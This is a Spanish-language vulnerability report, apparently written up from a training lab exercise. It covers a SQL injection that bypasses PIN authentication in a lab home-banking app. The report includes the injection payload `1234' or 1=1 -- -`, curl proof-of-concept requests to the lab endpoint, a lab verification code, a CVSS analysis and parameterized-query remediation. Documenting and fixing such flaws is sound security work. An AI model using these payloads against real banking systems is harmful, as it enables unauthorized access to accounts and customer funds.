🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Inyección SQL con bypass de autenticación (PIN) en el sistema de home banking

ID del Ticket	**VULN-2026-009**
Activo evaluado	**Aplicación web «Home Banking» (Lab Home Banking)**
Severidad	**CRÍTICA** **CVSS v3.1 9.1**
Tipo	**SQL Injection → Authentication Bypass — CWE-89 / CWE-287**
Cliente	**Software Seguro — Laboratorio Home Banking**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**08 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 6
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

La pantalla que valida el **PIN** del home banking arma su consulta a la base de datos **pegando directamente lo que escribe el usuario**. Eso permite inyectar una condición que siempre es verdadera, de modo que el sistema **da por válido cualquier PIN** y concede el acceso sin conocer el valor correcto.

¿Por qué importa para el negocio?

En un banco, el PIN es la última barrera antes de operar con el dinero del cliente. Saltarlo significa **acceso no autorizado a cuentas**: ver saldos y movimientos, y potencialmente realizar transferencias u operaciones. Al tratarse de una inyección SQL, además, suele ser posible **leer o alterar otros datos** del sistema (clientes, credenciales). El impacto es máximo: fraude económico directo, exposición de datos financieros, incumplimiento regulatorio (normativa bancaria y de protección de datos) y daño reputacional severo.

¿Qué tan grave es?

Severidad CRÍTICA — CVSS 9.1. La explotación es remota, trivial y no requiere conocer el PIN. Durante la prueba, un PIN cualquiera seguido de una condición inyectada superó la validación y concedió el acceso, obteniéndose el código de verificación del laboratorio.

¿Qué hay que hacer?

De forma inmediata: validar el PIN con **consultas parametrizadas** (nunca concatenando la entrada) y no resolver la autenticación dentro de una consulta SQL. Reforzar con bloqueo por intentos, segundo factor y mensajes de error genéricos.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Acceso no autorizado a cuentas bancarias por bypass de autenticación mediante inyección SQL	Alta	Crítico	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

El endpoint de validación del PIN construye una consulta SQL concatenando el valor enviado por el cliente, sin parametrización ni validación. Esto habilita **SQL Injection** (CWE-89) y, dado que la consulta es la que decide si el PIN es válido, la inyección se traduce directamente en un **bypass de autenticación** (CWE-287).

La consulta subyacente tiene una forma equivalente a:

```
# Consulta vulnerable (reconstruida): la validez del PIN depende de que la fila exista
SELECT * FROM cuentas WHERE pin = '[ENTRADA_USUARIO]'  AND ...;
```

Inyectando `1234' or 1=1 -- -` en el campo del PIN, la consulta resultante es:

```
SELECT * FROM cuentas WHERE pin = '1234' or 1=1 -- -'  AND ...;
```

La condición `or 1=1` es siempre verdadera (la consulta devuelve filas y el PIN se da por válido) y el comentario `--` - anula el resto de la cláusula (incluida cualquier subconsulta o condición posterior). El control de autenticación queda eludido sin conocer el PIN real.

2.2 Flujo del ataque

- El atacante intercepta la petición de validación del PIN con un valor cualquiera y la envía a Repeater.
- Prueba la presencia de SQLi añadiendo una condición verdadera (`or 1=1`) y un comentario para descartar el resto.
- El payload `1234' or 1=1 -- -` hace que la consulta devuelva filas: el sistema da el PIN por válido.
- Se concede el acceso sin el PIN correcto; se obtiene el código del laboratorio.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') · CWE-287 — Improper Authentication · CWE-305 — Authentication Bypass by Primary Weakness
OWASP Top 10 (2021)	A03:2021 — Injection · A07:2021 — Identification and Authentication Failures
OWASP API Security Top 10 (2023)	API2:2023 — Broken Authentication
CVE	No aplica (defecto propio de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«Home Banking» (Lab Home Banking)
Host	`chl-<instancia>-home-banking.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Endpoint vulnerable	Validación de PIN (p. ej. `POST /api/validar-pin`)
Parámetro	`pin` (concatenado en la consulta SQL)
Dato sensible involucrado	Acceso a cuentas, saldos, movimientos y, potencialmente, toda la base de datos
Alcance	Acceso no autorizado a cuentas; potencial lectura/escritura de datos vía SQLi

2.5 Causa raíz

La consulta SQL se construye por **concatenación de cadenas** con entrada controlada por el cliente, en lugar de usar **sentencias parametrizadas**. Además, la **decisión de autenticación se delega en el resultado de una consulta SQL** ("si hay fila, el PIN es válido"), de modo que manipular la consulta equivale a falsear la autenticación. La ausencia de controles compensatorios (bloqueo por intentos, segundo factor) agrava el impacto.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
9.1	CRÍTICA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	La aplicación se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: un payload de inyección conocido.
Privileges Required (PR)	**None (N)**	No se requiere conocer el PIN ni credenciales válidas para el control vulnerado.
User Interaction (UI)	**None (N)**	No requiere que ninguna víctima realice acción alguna.
Scope (S)	**Unchanged (U)**	El impacto permanece dentro de la misma aplicación/base de datos.
Confidentiality (C)	**High (H)**	Acceso no autorizado a cuentas, saldos y movimientos; potencial lectura de toda la BD.
Integrity (I)	**High (H)**	El acceso habilita operar sobre cuentas y la inyección permite alterar datos según los privilegios de BD.
Availability (A)	**None (N)**	No se demostró impacto en la disponibilidad (ver nota).

Nota de criterio: se asigna `A:N` por no haberse demostrado impacto en disponibilidad. Si el usuario de base de datos permite operaciones destructivas (`A:H`), el vector `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` alcanza **9.8**. Si la validación del PIN exigiera un primer factor/sesión previa (`PR:L`), el puntaje sería **8.1 (Alta)**.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con acceso al laboratorio y Burp Suite puede replicar el hallazgo.

4.1 Requisitos previos

- Acceso a la pantalla de validación de PIN del laboratorio.
- Burp Suite (Proxy + Repeater) o `curl`.

4.2 Pasos de reproducción

Paso 1 — Interceptar la petición con un PIN cualquiera. Con el proxy activo, enviar un PIN arbitrario y capturar la petición; enviarla a Repeater.

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-home-banking.softwareseguro.com.ar"

curl -s -b cookies.txt -X POST "$BASE/api/validar-pin" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "pin=1234"
# -> PIN incorrecto (acceso denegado)
```

Paso 2 — Confirmar e inyectar el bypass. Introducir en el campo `pin` una condición siempre verdadera y comentar el resto de la consulta.

```
curl -s -b cookies.txt -X POST "$BASE/api/validar-pin" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "pin=1234' or 1=1 -- -"
# Consulta resultante: ... WHERE pin = '1234' or 1=1 -- -' AND ...
# or 1=1 -> siempre verdadero | -- - -> comenta el resto -> PIN dado por válido
```

Evidencia 1 — El payload `1234' or 1=1 -- -` supera la validación sin conocer el PIN real: bypass de autenticación confirmado.

Paso 3 — Verificación del impacto. Se concede el acceso y el laboratorio entrega el código de verificación.

```
# Código de verificación obtenido:
#   bf58371373e52613ae270d5acf832bad
```

Evidencia 2 — Acceso concedido mediante inyección SQL y obtención del código, demostrando el bypass de autenticación.

> Nota técnica: confirmada la inyección en el punto de autenticación, un atacante podría escalar a técnicas `UNION-based` o *blind* para extraer otras tablas (clientes, credenciales, saldos). En esta PoC la demostración se limitó al bypass de autenticación; no se realizó extracción masiva de datos.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
El PIN se valida con consulta parametrizada y comparación segura; un payload de inyección se trata como dato y el acceso se deniega.	`1234' or 1=1 -- -` supera la validación y concede el acceso sin el PIN correcto.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. No se accedió a datos de cuentas reales ni se realizaron operaciones.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

Consultas parametrizadas y autenticación fuera del SQL. El PIN nunca debe concatenarse en la consulta. Además, la validación no debe depender de "si hay fila": se recupera el registro del usuario de forma parametrizada y se compara el PIN (almacenado con hashing) en la capa de aplicación con una comparación de tiempo constante.

```
# VULNERABLE: concatena el PIN y autentica según exista fila
query = "SELECT * FROM cuentas WHERE pin = '" + pin + "'"
if cursor.execute(query).fetchone():
    conceder_acceso()                                # <- inyectable

# CORREGIDO: parámetros + hashing + comparación segura en la aplicación
cuenta = cursor.execute(
    "SELECT id, pin_hash FROM cuentas WHERE usuario_id = %s", [user_id]
).fetchone()
if cuenta and verify_hash(pin, cuenta.pin_hash):      # comparación de tiempo constante
    conceder_acceso()
```

5.2 Mitigaciones y buenas prácticas

- **Bloqueo por intentos (lockout)** y retardos progresivos tras PIN incorrectos; alertar ante fuerza bruta.
- **Segundo factor (MFA)** para operaciones sensibles del home banking.
- **Errores genéricos**: no revelar detalles de base de datos ni distinguir "PIN inválido" de "error".
- **PIN con hashing** (nunca en texto plano) y, si aplica, cifrado de datos sensibles en reposo.
- **Mínimo privilegio en la base de datos** y **WAF** con reglas anti-inyección como defensa en profundidad.
- **Revisión de código / SAST** en todos los puntos de autenticación y acceso a datos.

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Parametrizar la validación de PIN y sacar la autenticación del SQL	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Implementar lockout por intentos y errores genéricos	Equipo de desarrollo	Alta	24–72 h	Pendiente
Añadir segundo factor (MFA) a operaciones sensibles	Producto / Desarrollo	Alta	30 días	Pendiente
Revisar el resto del código por SQLi + mínimo privilegio de BD	Desarrollo / SecOps	Alta	15 días	Pendiente
Test de regresión (payloads de SQLi = acceso denegado) y re-test	QA / Seguridad	Alta	Con el fix	Pendiente

5.4 Verificación (re-test)

Repetir el paso 2 de la PoC sobre el endpoint corregido. El criterio de aceptación es que el payload `1234' or 1=1 --` (y variantes) sea tratado como dato literal y el acceso se deniegue, que no se expongan errores de base de datos, y que tras varios intentos fallidos se active el bloqueo. Confirmar que un PIN legítimo sigue concediendo el acceso.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que la inyección ya no es posible y que la autenticación no puede eludirse, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP Top 10 (2021) — A07 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- CWE-89 — SQL Injection: https://cwe.mitre.org/data/definitions/89.html
- CWE-287 — Improper Authentication: https://cwe.mitre.org/data/definitions/287.html
- OWASP — SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP — Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- PortSwigger Web Security Academy — SQL injection (authentication bypass): https://portswigger.net/web-security/sql-injection
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-08	J. M. F.	Creación del reporte: SQL Injection con bypass de autenticación (PIN) en el home banking.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.